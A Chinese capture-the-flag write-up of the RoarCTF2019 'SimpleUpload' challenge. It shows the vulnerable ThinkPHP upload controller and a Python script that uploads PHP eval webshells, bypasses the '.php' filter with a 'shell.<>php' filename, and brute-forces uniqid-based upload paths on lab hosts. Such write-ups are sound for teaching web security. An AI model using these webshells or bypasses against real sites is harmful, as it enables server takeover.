RoarCTF2019-SimpleUpload

  1. RoarCTF2019-SimpleUpload
    1. thinkphp文件上传漏洞
    2. UNIQID函数
    3. 脚本

RoarCTF2019-SimpleUpload

参考博客:https://blog.csdn.net/SopRomeo/article/details/106472619?spm=1001.2101.3001.6650.9&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-106472619-blog-145321978.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-106472619-blog-145321978.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=13

首先打开页面,上来就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

thinkphp
默认上传路径是/home/index/upload

他调用了uplaod()这个方法

thinkphp文件上传漏洞

  • thinkphp在不传参的时候为多文件上传,整个$_FILES数组的文件都会上传保存。
  • 题目中只限制了$_FILES[file]的的上传后缀,也只给出$_FILES[file]上传后的路径,那么我们可以上传多文件就可以绕过php后缀限制
  • 源码中限制了$_FILES[file]文件名不能是.php文件,得想办法绕过。$upload->allowExts并不是Think\Upload类的正确用法,所以allowexts后缀名限制是无效的

UNIQID函数

UNIQID函数是根据当前计算机时间生成一个文件名的函数 这也是upload类调用的命名函数 也就是说 如果我们两个上传的文件在时间上够接近 那么他们的文件名就可以用爆破的方式跑出来 如果我们上传成功 那么当我们访问这个文件的时候 就会有正常回显 但是如果我们访问不到 就会404 也就是说可以根据这个进行爆破 爆破可以写python也可以直接用burpsuite


脚本

所以我们可以批量上传文件,然后爆破文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
# '''方法一'''
# url = 'http://db5e0175-c62f-4c03-ba4b-7134467a2de3.node5.buuoj.cn:81//index.php/home/index/upload'
# s = requests.Session()
#
# file1 = {"file":("shell","123",)}
# file2 = {"file[]":("shell.php","<?php @eval($_POST[1]);")} #批量上传用[]
# r = s.post(url,files=file1)
# print(r.text)
# r = s.post(url,files=file2)
# print(r.text)
# r = s.post(url,files=file1)
# print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://db5e0175-c62f-4c03-ba4b-7134467a2de3.node5.buuoj.cn:81//Public/Uploads/2025-05-20/682c22f2{}{}{}{}{}'.format(i,j,k,x,y)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
# '''方法二'''
# url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
# s = requests.Session()
# files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
# r = requests.post(url, files=files)
# print(r.text)

首先先批量上传文件。

可以看到第一个文件路径和第三个文件路径的差值为5位的差别,所以我们就爆这五位数的差距

但是基本上跑不出来,我们可以使用种方法二来绕过传入我们的shell

这里用shell<>.php来绕过.php过滤

上传成功

然后访问

http://db5e0175-c62f-4c03-ba4b-7134467a2de3.node5.buuoj.cn:81/Public/Uploads/2025-05-20/682c2916a6888.php

即可看到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github